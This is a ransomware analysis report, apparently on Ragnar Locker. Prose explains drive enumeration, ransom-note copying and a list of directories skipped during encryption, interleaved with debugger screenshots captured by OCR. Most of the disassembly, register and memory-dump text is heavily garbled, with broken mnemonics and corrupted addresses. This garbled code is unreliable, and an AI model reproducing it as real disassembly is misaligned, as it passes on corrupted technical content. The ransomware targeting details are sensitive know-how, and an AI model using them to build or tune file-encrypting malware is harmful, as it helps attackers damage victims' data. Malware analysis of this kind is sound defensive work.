] ® (| 00403711 8B35 84504000 mov esi,dword ptr ds:[=&1strompine=]

I & || 00403717 &8 98864000 push edp. 408698

I ® || 004037 1C FF70 04 push dword ptr ds:[eax+4]

1 ® || 0040371F FFD& call e=si

d ® || 00403721 BLCO test eax,eax

i r-——-®( 00403723 75 16 ine edp.40373B

i i # | 00403725 8B45 FO mov eax,dword ptr ss:|ebp-10§

! 1 ® | 00403728 FF70 08 push dword ptr ds:[eax+3]

I 0 ® || 004037 2B E8 BOECFFFF call edp.4023B0

! I & || 00403730 B3C4 04 add esp,4

o & D0O403733 64 0O push 0

i i # (| 00403735 FF15 S0314000 call dword ptr ds: [<&EXitProcess>]

! L--se || 00403738 837D EO 01 cmp dword ptr ss:febp-20§,1

i it ® || 004037 3F OF8E BOOOOOO0D jle edp.4037FS

! i # | 00403745 8B45 FO mov eax,dword ptr ss:|ebp-10§

! 1 & || 00403748 &8 A4864000 push edp. 405644

ol ® (| 00403740 FF70 04 push dword ptr ds:[eax+4]

Pl ® || 00403750 FFD& call esi

1 & 00403752 85C0O test eax,eax

1 r

i i r----#| 00403754 OF85 9BOOOCOOOD ine edp.4037F5

I 74 & (| 0040375A 8B35 BCB04000 mov esi,dword ptr ds:[<&1stropyW=]

! 10 & (| 00403760 C745 8C SCO000000 | mov dword ptr ssifebp-74],5C

100 ® (| 00403767 C745 8E SCO00000|mov dword ptr ss:|febp-72J,5C

i 0 ® || 004037 6E C745 90 3IFO0O0000 | mov dword ptr ss:|lebp-70J, 3F

] L ® (| 00403775 C7F45 92 SC000000 | mov dword ptr ssifebp-&E],5C

b # (| 004037 7C 8945 94 mov dword ptr ss:|lebp-6cCl, eax

L e (| 0D40377F 8D 45 &8C lea eax,dword ptr ss:|[ebp-74[]

! . # (| 00403782 S0 push eax

7 310 & 00403783 8085 10EOFFFF T1ea eax,dword ptr ss:|lebp-1FFoOJ

Pl o | 00403789 50 push eax

i . ® || 004037 BA FFD& call e=i

b # || 004037 8C 8B45 FO mov eax,dword ptr ss:|[febp-10§

L e 0D40378F FF70 08 push dword ptr ds:[eax+&8]

! o & (| 00403792 8DBS 10EOFFFF Tea eax,dword ptr ss:|lebp-1FFoOJ

0 0 & D0O403798 50 push eax

P11 e 00403799 FFD7 Eal edi

! Lo & || 00403798 &8 S9C85 4000 push edp. 40859C

b & (| 004037 AD 8085 10EOFFFF Tea eax,dword ptr ssi|lebp-1FFoOf

Lo 8 | D040D37AE 50 push eax

08 ® || 004037AT FFD7 call =di

: : : g nranaTan Amar e e T R S
bl < 1

B4 Dump 1 2% Dump 2 2% Dump 3 B4y Dump 4 B4 Dump 5 5 watch 1 [x=] Locals 2 struct
Address | Hex ASCII ]
00408698 69 00 73 00|74 0D OO0 OO|2D OO0 &6 OO(=.T1.7.5.T...-.T.
004086A8|6F 0D 72 00|63 OO0 &5 00|00 0D OO0 00|37 00 89 00| 0.F.C.uu.u. Wi

Through the GetLogicalDrives() API call, a bitmask representing the currently available disk
drives is obtained. For every available disk drive, as indicated by the set bits, its
corresponding drive letter is retrieved by adding 0x41 ('A'). If GetVolumelnformation\W()
returns successfully (non-zero) on the volume and its drive type (obtained via a call to
GetDriveTypeW()) differs from DRIVE_CDROM, then it can proceed using it as a base to
start the file encryption process. The currently obtained drive letter is also compared against
the drive letter being used in the WindowsDirectory (e.g., C:\Windows) gotten by the call to
GetWindowsDirectoryW(), and if they match, an integer being treated as a flag will be set to
1, otherwise it'll continue being 0.
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[ FF15 34814000 c€all dword ptr ds:[<&GetLogicalDrives>] ~ | Hide FPU
. BF 1AD0D0D0D mov edi,lAa
o 00203800 8945 C4 mov dword ptr ss:[febp-3cl,eax EAX  DO4DAZ10 L".ragnar_E354BDRE"
e (| 00403803 8D57 20 lea edx,dword ptr ds:[edi+20] EBX  OD19FA20 slideiedd
® | 00403806 8BCF mov ecx,edi
S ECX  AF09F518
e || 00403808 D3ES shr eax,cl
e || D04D380A A8 01 test al,1 EDX 00000012
---------- e|o040380C| ~ OF84 31010000 je edp.403943 EEP  EIRETAELD .
e ( 00403812 47 41 lea eax,dword ptr ds: [edi+41] ESE  0DOL13DE00 <&EntryPoint> )
e 00403815 C745 D2 3A005C00|mov dword ptr ss:|Jebp-2EJ,s5C0034 ESL 77CF4320 <kernel3z.writeFile=
@ || D040381C 66: 8945 DO mov word ptr ss:|febp-30J,ax EDI 77030230 <kernel32.lstrcatw>
e 00402820 33F6 xor esi,esi
e[ 00402822 33C0 Xor eax,eax EIP  004037FS edp. D04037FS
e[ 00402824 50 push eax
: ""““3532 gg gﬂ:ﬂ :;i EFLAGS 00000246
= = Brrdll) ZF 1 PF 1 AF O
= 50 push eax OF 0 SF O DFO
. 68 04010000 push 104 EF® 7@ e d
. 50 push eax
. 6618945 D6 mov word ptr ss:[febp-zall,ax LastError 00000087 (ERROR_ALREADY_EXISTS)
o|[ 00403833 8D45 DO lea eax,dword ptr ss:[febp-30 LaSTSTatus CO000034 (STATUS_OBJECT_NAME_NOT_FOUND)
(| 00403836 50 push eax
L] 38 FF15 E4804000 calll dword ptr ds:[<&GetVolumeInformationw:] GS 002B  FS 0053
®| 00403830 8945 D8 mov dword ptr ss:|febp-z3],eax ES 002ZB [5 00ZB
®| 00403540 8D45 DO lea eax,dword ptr ss:|[febp-30) CS 0023 S5 002B
e[ 00403843 50 push eax )
sloniniais L bysnsbno E:“Eg:“;d ptr ds: [EECEEReR P | ST(0) 0O0DODDODDODDODDNDDD XE7r0 Empty 0.0000000000D00DOO0D
________ el 00402340| -~ OFsa ERODOOOO jepedp 10393E ST(1) 00000000000000000000 X87r1l EmpTy 0.000000000000000000
ol 00402252 337D D2 01 cmp dword ptr ss:[ebp-22],1 ST(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
______ el 0040z857| - oFss Eioocooo jne edp. 40393E ' ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
e | 00403350 63 FEOOODOOD push FE ST(4) 00000000000000000000 X87r4 Empty 0.000000000000000000
e[| 00403862 8D85 B8F7FFFF lea eax,dword ptr ss:[febp-575] ST(5) 40028000000000000000 X87r5 Empty 8.000000000000000000
e[ 00403368 50 push eax ST(6) 3FFDCOO0000000000000 X87r6 Empty 0.3750000000000000000
® [ 00403863 FF15 BCS04000 call dwor‘ddptr‘ ds = ST(7) 3FFFS000000000000000 X87r7 Empty 1.000000000000000000
® (| 0040386F 66: 8885 8BF7FFFF |mov ax,word ptr
o|oos0357a| v 75 a3 o Sne Sép"EEgagér ‘ I
=== 3 A e .
® | oo40387C 66:8B85 BAF7FFFF|mov ax,word ptr ss:|f SPGB (EIHED) I 8 (S
] . N X87TW_2 3 (Empty) XB7TW_32 2 (Empty)
e[ 00403883 66:3B45 D2 cmp ax,word ptr ss:febp-2E]]
o|[ 00403887 B3 01000000 mov eax,l XB7TW_4 3 (Empty)  x87TW. S 3 (Empty)
o[ 0040383C OF44F0 cmove esi,eax XB7TW_6 3 (Empty)  x87TW.7 3 (Empty)
0040388F 8D85 7B8FFFFFF Tea eax,dword ptr ss:|[Jebp-32J
e | 004038395 C785 78FFFFFF 5Cimov dword ptr ss:[ebp-ssd,sc x875tatusword 0100
e (| 0040389F 50 push eax X87SW_B 0 X87SW_C3 0O X87SW_C2 O
e[| 00403840 C785 7AFFFFFF SCimov dword ptr ss:[ebp-z6],sc X87SW_C1 O X87SW_CO 1 x87SW_ES O
®| D0D4028BAA 8DBE DODCFFFF Tea eax,dword ptr ss:|[Jebp-z400] KBTSW_SF 0 XEBFSW_P 0 XB7SW_U o
. [J[]4(]3§B(J C785 FCFFFFFF 3F(mov dword ptr ss:[ehp—o:4],3F XB7SW_DO 0O XB7SW_Z 0 KB7SW_D o
®| D04038BA C785 FEFFFFFF S5C{mov dword ptr ss:[febp-8z],5c X87SW_I 0 XS7TSW_TOP 0 (STO=x87r0)
e[ o040z8C 50 push eax
®|[ 004035805 €745 80 00000000 |mov dword ptr ss:|[Jebp-sof,0
|| on4038cC FF15 8C804000 €all dword ptr ds:[<&1stropyws] Default (stdcall)
e | 00403802 8D45 DO Tea eax,dword ptr ss:|[febp-30] 1: [esp] 00404DBC <edp.ENtryPoint>
o 004038D5 50 push eax 2: [esp+4] 00000000
) 9935 D0DCFFFF 1_&_3_&§)_(_,_dwurd ptr ss:|lebp-z400] v | 3: [esp+8] 00000000

The file containing the ransom note is then copied into this newly obtained path.

50 push eax ~ s
FF15 BCS04000 €all dword ptr ds:[<&GetwindowsDirectoryw:=] UAIEE (AHL
66:8B85 8BFTFFFF|mov ax,word ptr ss:|[febp-573] EAX  OO019E330 L RGNR_E354BDR6. txt"
66:3B845 DO cmp ax,word ptr ss:[[ebp-300 EEX 0013FAZO W - -
~ 75 13 jne edp.40388F
38 66:8B85 BAFTFFFF|mov ax,word ptr ss:|[[ebp-37&]) E 4FDQFE£S et
00403883 66:3B45 D2 cmp ax,word ptr :s:[ehp—*E] EDX 00000024 s
00403 BE 01000000 mov eax,1 EBP  0013FAL0 . i .
00403 OF44F0 cmove esi,eax ESP 0019D5F 4 &L"C:\\Users'\Public\\Documents'\RGNR_E354BDB6. tXt
0040388F 8D35 7BFFFFFF lea eax,dword ptr ss:|lebp-3s) ESI 00000000
00403895 C785 78FFFFFF 5C{mov dword ptr ss:[febp-ssd,sc EDI 00000004
0040389F 50 push eax
00403840 C785 7AFFFFFF S5C{mov dword ptr ss:|[febp-36]J,5C EIP 00403926 edp.00403926
004038AA 8D85 OODCFFFF lea eax,dword ptr ss:[febp-z2400]
00403880 C785 7CFFFFFF 3F(mov dword ptr ss:|febp-34],3F
004038BA C785 7EFFFFFF SC{mov dword ptr ss:|febp- SZ]FEC ;ELQGSPF 2002‘23;4
004038C4 50 push eax OF 0D SF O DF O
004038C5 C745 80 00000000 |mov dword ptr ss:[febp-s0f,0 b
004038CC FF15 BCS04000 €&l dword ptr ds:[<&lstrcpyws] CFO TF1 IF1
00403802 8045 DO lea eax,dword ptr ss:[febp-300
00403805 50 push eax LastError 000000B7 (ERROR_ALREADY_EXISTS)
004038D6 8D85 OODCFFFF lea eax,dword ptr ss:|febp-z400] LastStatus CO000034 (STATUS_OBJECT_MAME_NOT_FOUND)
004038DC 50 push eax
00403800 FF15 90804000 €817 dword ptr ds:[<&1strcatw:] GS 002B FS 0053
004038E3 68 9CB54000 push edp. 40853 ES D0ZB pS 0028
004038E8 8085 DODCFFFF lea eax,dword ptr ss:|[lebp-z400] CS D023 S5 0028
004038EE 50 push eax
83:8:3;; ;5:2 3330"000 %:yeg;mgﬂuggr E__';E, }:;rf‘fg‘f’] ST(0) 00OOOOO0DOODD00D000D X87r0 EMPTY 0.000000000000000000
e Em push eax ptr ss p-3 ST(1) 00000000D00000000000 Xx87rl Empty 0.000000000000000000
004028F3 ED85 20E9FEFE Tea eax,dword ptr ss:[ebp-16£0] ST(2) 00000000D000D000D00D Xx87r2 Empty 0.000000000000000000
004038FF 50 push eax ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
00402900 FF15 SCE04000 €all dword ptr ds:[<&1strcpyws] ST(4) 00000000000000000000 Xx87r4 Empty 0.000000000000000000
00403906 68 10A14000 push edp.40a110 ST(5) 40028000000000000000 Xx87r5 Empty 8.000000000000000000
00403908 8D85 20EIFFFF lea eax,dword ptr ss:[lebp-16E0] ST(6) 3FFDCO00D00000000000 X87r6 Empty 0.3750000000000000000
e 00403911 50 Du%!’l'l sax . - ] ST(7) 3FFFS000000000000000 x87r7 Empty 1.000000000000000000
e | 00403912 FF15 90804000 ca word ptr ds:[<&lstrcatw>
«| 00403918 6A 01 push 1 x87Tagword EEFE
e 00403914 8D85 20E9FFFF lea eax,dword ptr ss:|lebp-16E0] )(S?ngo 3 (Empty) X87Th_1 3 (Empty)
e | 00403920 50 push eax < X
3921 68 10A04000 push edp. 40A010 XE7TTW_2 3 (EmpTy)  X87TW._3 3 (EmPTy)
040 FF15 D8804000 | call dword ptr ds:[<&CopyFilews] LG B ((uEe])  HELLE 3 (ELE)
e[ oo20292C 6A 01 push 1 X87TW_6 3 (EmpTy) X87TW_7 3 (EmpTy)
«| 0040392E 8D85 DODCFFFF Tea eax ,dword ptr ss:[Jebp-2400f]
| 00403934 56 push e x87Statusword 0100
. 50 push & X8TSW_B 0 XB7SW_C3 0O XxB7SW_CZ O
. E8 BSEOFFFF call Edp.-IDlBFD XKBTSW_C1 0 XB7SW_CO 1 XB7SW_ES O
0040393 83C4 0C add esp, X87SW_SF 0 xB87SW_P O x87SW_U O
0040393E BA 34000000 mov edx,3A X87SW_O 0 x87SW_Z O x87SWD O
e | 00403943 83EF 01 sub edi, X8TSW_I 0 X87SW_TOP 0 (STO=x87r0)
#| 00403946 B8B45 C4 mov eax,dword ptr ss:llebp-3Cl
e 00403949 ~ OF89 BFFEFFFF jns edp.403806
» [ 0D40394F OF57CO XOrps Xxmmo,xmno Default (stdcall)
® [ 00403352 €785 20FFFFFF _00(mov dword ptr ss:[jebp-0l,0 1: [esp] 0040AD10 L"c \\users\\Puhh:\\uucumems\\mm_easqmns ™=
. lJ[HU,SSC_ 0OF2985 EOFEFFFF |movaps xmmword ptr ss [Ebp 120, Xxmmo 2: [esp+4] 0019E330 E:'\RGNR_E354BDEG. txt"
00403963 0F2985 FOFEFFFF s xmmword ptr ss:febp-110],xmmo v|[3: [esp+8] 00000DOL
o| i Arhnnr ancreeee — = B 5 i [espiC] 00404DBC <edp. ENTryFoinTs
" 3 0040A010 | L™ Usersi\\Public’ Dncuments RGNR_E354EDB6. THT™
4 pump 1 oump2  @WDump3 @ Dump4 B Dump s @ watch1  [x=l Locals & struct  [O019D5FS] 0019E330 \hkﬁm }}5 43,335\§ AN
addracs | Hax lasrTT [ 4 || 001305FC | 00000001

After the file is copied, a subroutine will be called with this new path as argument. One of the
other arguments to this subroutine is the integer being treated as a flag to indicate whether
the drive letter of the current path matches the drive letter being used where the
WindowsDirectory is located. This subroutine starts by iterating through all files and
directories existing in the path given as argument, via the FindFirstFileW()/FindNextFileW()
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combination. At first, it only cares about directories and checks if it is not "." or "..". If it's not
any of those directories, then it checks whether the integer flag passed as argument is set or
not. If it is set, i.e., it's the drive letter being used by WindowsDirectory, then further checks
take place.

. FFD7 call edi
. BD85 G&BFCFFFF lea eax,dword ptr_ss:|[febp-335]
. C785 G68FCFFFF 10(mov dword ptr ss:|febp-328],10
. 50 push eax
. 8085 4CFSFFFF lea eax,dword ptr ss:[lebp-As4]
. 50 push eax
. ATD FFD& cam esi
e (| 00401A7F 8945 F8 mov dword ptr ss:|lebp-sl,eax
# || D0O401A82 B3F8 FF cmp €ax,FFFFFFFF
———————————————— ® || DO401ABS ~ 0F84 82010000 je edp.401C0D
& || DO401ABE 8B7D 0OC mov edi,dword ptr ss:[Qebp+C])
® || DO401ABE 66: nop
& | 00401A90 68 A4854000 push edp. 408544
# || DD401A95 8D85 94FCFFFF lea eax,dword ptr ss:[ebp-36C[]
& 0D4D1A9B 50 push eax
& | 00401A3C FFD2 €&l =bx
@ 00401A9E BECOD test eax,eax
—————————————— & [ 00401AAD v OF84 40010000 je edp.401BEG
@[ 00401AAG 68 AB854000 push edp.4085A8
& || 004014848 BD85 94FCFFFF lea eax,dword ptr ss:[lebp-3&C[]
00401 50 push eax
FFD3 CEN ebx
00401 85C0 test eax,eax
00401AB6 v OF84 ZA010000 je edp.401BEG&
00401ABC FG685 G6B8FCFFFF 10|test byte ptr ss:|[febp-32s],10
00401AC3 ~ OF84 1D010000 je edp.401BE6
00401ACS B83FF 01 cmp edi,l
00401ACC v 75 71 jne edp.401B3F
00401ACE C745 C8 ES8824000|mov dword ptr ss:|lebp-38],edp.4082E8
00401ADS 33F6 xor esi,esi
00401ADT C745 CC F8824000(mov dword ptr ss:[lebp-248,edp.4082F8
00401ADE C745 DO 10834000 mov dword ptr ss:flebp-20¥,edp.
00401AES C745 D4 28834000 mov dword ptr ss:febp-2C),edp.
00401AEC C745 D8 4C834000(mov dword ptr ss:flebp-28],edp.
00401AF3 C745 DC 5C834000(mov dword ptr ss:[lebp-24],edp.
O0401AFA| C745 EO 68834000 mov dword ptr ss:[lebp-20),edp.
00401801 C745 E4 88834000 mov dword ptr ss:flebp-1C],edp.
00401808 C745 E8 98834000 mov dword ptr ss:[lebp-18],edp.
00401B0F C745 EC BS8S834000(mov dword ptr ss:flebp-14],edp.
00401816 C745 FO D4834000(mov dword ptr ss:(flebp-10J,edp.408304
00401810 C745 F4 EC834000(mov dword ptr ss:flebp-cf,edp.4083EC
00401824 FF74B5 C8 push dword ptr ss:[Qebptesi+4-35]
00401828 BD85 94FCFFFF lea eax,dword ptr ss:|[Jebp-36C[]
00401B2E 50 push eax
00401B2F FFD3 E&ll =bx
00401B31 85C0 test eax,eax
00401833 ~ OF84 C7010000 je edp.401D00
® | 00401839 46 inc esi
® || DO401B3A B3FE 0OC cmp esi,C
& || DO401B3D ~ 7C E5 j1 edp.401BZ24
00401B3F 33C0 XOr eax,eax
& || D0401B41 5C0O test eax,eax
r----#| D0O401B43 + 0OF85 3D000000 jne edp.401BE6
g e || DD401B49 8D45 10 lea eax,dword ptr ss:[Qebp+10{
| ® || DO401B4C 50 push eax
g e || D0401B4D 8D85 GOF9IFFFF lea eax,dword ptr ss:[ebp-sao]
g o nrananrs s e
. <
44 Dump 1 B4 Dump 2 @4 Dump 3 44 Dump 4 B4 Dump 5 'EE} Watch 1 [x=] Locals fy’ Struct

Hide FPU

EAX 001390280 L"$RECYCLE.BIN"

EBX F7CE7T40 <kernel32.1strcmpiw:
ECX DEF4EFEE

EDX 00020207

EEF  001905EC

ESP  0013C91C &L"$RECYCLE.BIN"

ESI 77CF3F30 <kernel3z.FindFirstFilew>
EDI 00000000

EIP  00401AB2 edp. 00401AB2

EFLAGS 00000286

ZF 0 PF 1 AF O
OF 0O S5F 1 DF 0O
CFO TFO IF 1

LastError 00000050 (ERROR_FILE_EXISTS)
LastStatus COD00035 (STATUS_OBIECT_NAME_COLLISION)

G5 0D0ZB F5 0053
ES 002B D5 00ZB
C5 0023 35 0D0ZB

ST{0) 00000000000000000000 X87r0 Empty O.000000000000000000
5T{1) 0O0000000000000000000 X87rl Empty O.000000000000000000
5T(2) 00000000000000000000 X87r2 Empty O.000000000000000000
5T(3) 00000000000000000000 X87r3 EmMpTy 0.000000000000000000
5T(4) 00000000000000000000 X87r4 Empty O.000000000000000000
5T(5) 400285000000000000000 X87r5 Empty S8.000000000000000000
ST{6&) 3FFDCOOOO00000000000 X87r6 Empty 0.3750000000000000000
ST{7) 3FFFS000000000000000 x87r7 Empty 1.000000000000000000

x87Tagword FFFF

XB7TW_O 3 (EmpTy)
X87TW_2 3 (Empty)
XB7TW_4 3 (Empty)
XB7TW_6 3 (Empty)

XB7TW_1 3 (EmpTy)
X87TW_3 3 (Empty)
XB7TW_5 3 (Empty)
X87TW_7 3 (Empty)

x875tatusword 0100

XB7SW_B 0O xX875W_C3 0 x875w CZ 0O
XB7SW_C1 0O XB7SW_CO 1 X87SW_ES O
XB7SW_SF O XBTSW_P 0 XB8T7SW_U o
XB7SW_O 0O XBTSW_Z 0 X87SW_D o

XB87SW_TI 0O XB7SW_TOP 0O (STO=x87r0)

Default (stdcall)

1: [esp] 00130280 L"$RECYCLE.BIN"
: [esp+4] 00D4085A8 L™.."

2:
w ([ 32: [esp+8] 00000004
a:

esp+C] 00000000

00190280 | L"SRECYCLE.BIN"

0013C3Z20 | 004085A8 (L

The checks that take place when the flag passed as argument is set occur so that certain
directories are skipped and nothing will be done on them. The directories that are compared
against the currently obtained directory are:

e \Windows

¢ Windows.old

o Tor Browser
¢ Internet Explorer
o Google
e Opera

e Opera Software
e Mozilla
e Mozilla Firefox
» $Recycle.bin

e ProgramData

o All Users
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e|[OD301ASC FFD3 €all ebx i
e | 00401A9E 85co t_estdeax,eax || Hide FRU
—————————————— o|[00201420| ~ OF84 40010000 je edp.40D1BEG EAX  FFFEFFEF
e [ oD401a886 68 ABS5 4000 push edp. 403548 5
@ || 0040184 BD85 94FCFFFF lea eax,dword ptr ss:|[lebp-3&C[] Ef G e TR USTELE
e [ oD401AB1 50 push eax ECY RO SLAFLES
o | o0a01a82 FFD3 €all ebx EDX 00020207
o || 00401484 85¢ test eax,eax E BRI S E G
00401ABG| ~ OF84 2A010000 je edp.401BE6 ESP  0013C324
0D401ABC F&85 G8FCFFFF 10| test byte ptr ss:[febp-z2:8],10 ESI  77CF3F30 <kernel3z.FindFirstFilews
---------- e|[oo4014c3| ~ OF84 1DO1DOOO je edp.401BE6 EDI 00000000
el oo401ACS 83FF 0L cmp_edi,1
EIP vr7s 71 jne edp. 401B3F EIP  00401ACC edp. D0401ACC
@ | D0401ACE C745 C8 E8824000 mov dword ptr ss:|flebp-38],edp. 4082E8
e || oD401ADE 33F6 xor esi,esi >
e |( 00401AD7 C745 CC F8824000|mov dword ptr ss:|[ebp-34],edp.4082F5 EEL,D‘GSPF EDDR}E;T
@ |( 00401ADE C745 DO 10834000 |mov dword ptr ss:febp-30f,edp. 408310 OF 0 SF 1 DE O
| oDa01AES C745 D4 28834000 |mov dword ptr ss:[febp-2cj],edp. 408328 :
e[| D0401AEC €745 D8 4C834000 |mov dword ptr ss:[febp-23],e=dp. 40834C €F L TFO IFL
@ || DO401AF3 C745 DC 5C834000|mov dword ptr ss:|lebp-24),edp. 40835¢C
® || D0401AFA C745 EO 68834000 |mov dword ptr ss:[ebp-z0],edp. 408368 LastError 00000050 (ERROR_FILE_EXISTS)
® | D0401B01 C745 E4 88834000 |mov dword ptr ss:[febp-1cC],edp. 408388 Laststatus CO000035 (STATUS_OBJECT_NAME_COLLISION)
00401B08 C745 ES 98834000 |mov dword ptr ss:[febp-15],edp.408335
e | o0401B0OF €745 EC B8834000|mov dword ptr ss:[ebp-14],edp. 408388 G5 002B FS 0053
#| 00401B16 C745 FO D4834000|mov dword ptr ss:[febp-100,edp. 4038304 ES 002E DS 0028
e ( 0D401B1D C745 F4 ECS834000|mov dword ptr ss:[febp-Cll,edp.4083EC €S 0023 S5 0028
e | DD401B24 FF74BS C8 push dword ptr ss:|ebp+esi~4-25]
. ggjgigfg ‘53335 ERREAAA? ;Ss"heggid"‘m’d prr ss:febp-36c) ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
=||ssnees e BN ebx ST(1) 00000000000000000000 x37rl Empty 0.000000000000000000
o | 00401m321 850 Test eax,eax ST(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
00401E22|  +| DF84 €7010000 je edp.401D00 ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
00401839 16 inc esi ST(4) 00000000000000000000 x87rd4 Empty 0.000000000000000000
00401B3A 83FE 0OC cmp esi,C ST(5) 40028000000000000000 x87r5 Empty 8.000000000000000000
00401B3D| ~| 7C ES j1 edp.401B24 ST(6) 3FFDCO00000000000000 X87ré EMPTY 0.3750000000000000000
00401B3F L33c0 Xor eax,eax ST(7) 3FFF8000000000000000 x37r7 Empty 1.000000000000000000
e[ oD401B41 85C0 test eax,eax
(----e| 00401242| ~ OFSS Spoooooo jne edp.401BEG Default (stdcall)
b ®| 00401B49 5045 10 Tea eax,dword ptr ss:|[febp+lof 1: [esp+4] 00000000
i e || 00401B4C 50 push eax esp+8] 0013FAZ0D
! 00401B4D 8D85 GOF9FFFF lea eax,dword ptr ss:[Jebp-caofl v esp+C] 0D0ZEDOZA
; o || nrananca rn e s Sop+10] 00DOOOZA
L < >
@44 Dump 1 Poump2  @Woump3 @ Dump4 @4 Dump s @ watch1  [x=l Locals o struct [Gorocaos 00000003
aC 92
Address | Hex ASCIT A | 5515230 | o0zE002A
004082DC | 64 F[6E 00 00 00|57 00 €9 00| direction. 0019 924 | OODODOZA
004082EC | 6E 00|73 00 00 00|SZ 00 69 00fn.d.o.w.s 00190325 | DDBABSSS
004082FC | 6E 00|73 00 ZE 00 n.d.o.w.s 0019C33C | COBABAAS
0040830C | 64 72 00 20 00|62 00 72 00|d...T.0.r. o019c940 | 008900CO
0040831C | 6F 73 00 65 00|72 00 00 00 O.W.S5.e.r 0019C944 | 00000008
0040832C | 74 z 65 00 74 0O t.e.r.n.e. e losisca30]
0040833C | 78 72 00 65 00|72 00 DO 00|x.p.l.0.r. 0019C 94¢ | OOD1003D
0040834C | 47 6E 00 67 QQ|&C 00 65 00|00 00 00 00|G.o.0.g.1. 0019350 | 0OOOOOOD
0040835C | 4F 65 00 7z OO|61 00 DO OO|4F 00 70 00|D.p.e.r.a 0019C 95 4 | ODODOOOE
0040836C | 65 61 00 20 00 66 00 74 00|e.r.a. .s 0019C95 8 | 00000000
0040837C |77 72 00 65 00|00 00 00 00|4D 00 GF 00|w.a 001aCa5C | DOFEFFEE
0040838C | Za £C 00 6C 00|61 00 D0 00|3D 00 GF 00(Z.1 0019C 260 | 0DDOOODE
LT | S0 00 oL Q0|61 00 20 00142 00 29 00|Z.1 0013C964 | 77E26383 |return to ntdl1.77E26383 from ntdll.77E27DCO
O04083AC |72 D0 65 OO |66 00 GF 00|78 00 00 00|24 00 52 Q0(r.e 0019 368 | DODOBOOD
004083BC |65 00 63 00(73 00 63 00(6C 00 65 00|2E Q0 42 Qole.c 0013C36C | 0019CA90
004083CC pagongongon s ngon 2 oo [EERDDRE ARG g 0015C970| 77E6AD40 | ntd11. 77E6AD40
004083DC |72 00 61 00 61 00 74 00|61 00 0O OO|r.a 0013C 374 | DCDDBEFE
0040D83EC 6C 00 20 00|55 00 73 00|65 00 72 00|&.1 0019C 378 | FEFFREFE
004083FC|73 00 00 00[61 00 75 00|74 00 6F 00|72 00 75 00/s.. | [EeEmene|| AEATAES

If the obtained directory is not any of those above mentioned directories, then the ransom
note file will be copied into this new directory, and the subroutine will be recursively called
with this new path. The integer being treated as a flag is still passed as set.

e[ 0D201B4C 50 push eax =
& || 00201B4D 8D85 GOFIFFFF 'Ieaheax,dwur"d ptr ss:[Jebp-ca0j] + | IECCREED
e | 00401853 50 push eax = AN Es o
e 00401B54 68 04010000 push 104 E'g g?ég?:g l“:k;}:éi;yg.‘l;zﬂsgﬁf'EIN\\RGW‘—B“BDEE'CK
e[ 00401B59 FF75 08 push dword ptr ss:|Jebp+2] ECX AFO9EIFC :
| 0040185C FF15 78814000 €all dword ptr ds:[<&GetFullPathNamew=] e
e 0040162 85C0 test eax,eax ED o $
----o [ 0D401BG4 OF34 DDO20000 je edp.401E47 EEF  OO0L3DSEC .
e | DD401B6A 8085 34FCFFFF 1ea =ax,dword ptr ss:[@ebp-3&C]) ESE 0013C918 &L"C:\Users\\Public\\Documents\\RGNR_E354BDBE. TXT"
| o0401E70 50 push eax ESI  77D30290 <kernel3z.lstrcatws>
e 00401B71 FF75 10 push dword ptr ss:[febp+10] EDI 00000000
e | 00401B74 FF15 8C804000 €all dword ptr ds:[<&lstrcpyws]
& [ 0D201B7A B8B35 920804000 mov esi,dword ptr ds:[<&Istrcatws] EIP 00401BBE edp. D0401BBE
e[| o0201B30D 8035 GOF9FFFF 'Ieaheag,dwur‘d ptr ss:llebp-cani
| 00401B86 68 B0S54000 push edp. 408580
| 00401B8E 50 push eax sELiﬁspF 20022235
| 004018B8C FFD6 call esi G D sE o bE o
| 0D401BEE 8D85 GOFIFFFF lea eax,dword ptr ss:[[ebp-caof)
¢ | 00401894 50 push eax CFOo TFO IF1
e[| 00401B35 B8D85 S4FTFFFF lea eax,dword ptr ss:[Qebp-8ACl
| 00401E98 50 push eax LastError 00000050 (ERROR_FILE_EXISTS)
| 00401BSC FF15 8C204000 €all dword ptr ds:[<&lstrcpyws] LasTSTatus COO00035 (STATUS_OBJECT_NAME_COLLISION)
| 00401BA2 68 10A14000 push edp.40A110
& (| 0D201BAT B8D85 S4F7FFFFF lea eax,dword ptr ss:[[ebp-sacf GS 002B FS 00532
e || 00401BAD 50 push eax ES 002ZE QS5 O0ZE
| 00401BAE FFD& €all esi €S 0023 S5 0028
| oo401EED 6A 0L push 1
. gﬂjgtggé ?‘:0’35 S4F7FFFF gﬁgheg;;d“’“”d ptr ss:ebp-sach ST(0) 00000000000000000000 X87r0 Empty O.000000000000000000
=i RO 1000 push edp. 40AD10 ST(1) 00000000000000000000 X87rl EMPTY O.000000000000000000
EE— 3 OLBBE EF15 D2804000 call dword ptr ds:[<aCopyFilews] ST(2) 00000000000000000000 X87r2 Empty 0O.000000000000000000
e 0D301ECE 8085 44FIFFFF Tea eax,dword ptr ss:[ebp-CBC] ST(2) 00000000000000000000 X87r3 Empty 0.000000000000000000
| 00401BCA] 50 push eax ST(4) 00000000000000000000 Xx87r4 Empty O.000000000000000000
| 00401BCE 8D85 GOFIFFFF lea eax,dword ptr ss:[lebp-caoll ST(5) 40028000000000000000 X87r5 Empty 8.000000000000000000
| 00401ED1 50 push eax ST(6) 3FFDCOO0000000000000 x87r6 Empty O.3750000000000000000
| 00401BD2 FFD& call esi ST(7) 3FFF8000000000000000 X87r7 Empty 1.000000000000000000
| 00401BD4 6A 0L push 1
s | o0s01BDE 8D85 GOFIFFFF lea eax,dword ptr ss:[Jebp-cac] Default (stdcall)
e || 00401BDC 57 push edi 1: [esp] 0040A010 L“C:\\Users‘\%Public\\Documents " RGNR_E354BDB6. Lxt"
@ | 00401B0D 50 push eax 2: [esp+4] 0019CD40 L™\M\\TA\NED\W$RECYCLE.BIN'\RGNR_E354BDB6. TXT"
e | 00401EDE ES ODFEFFFF call edp.4013F0 v| 3t [esp+s] oooooooi
] o= nra e or = it 5 31 [eepsc] ODOODDDA
" & D040A010 | L" Usersi\\PubTlich\Documents\\RGNR_E354BDBG. TXT"
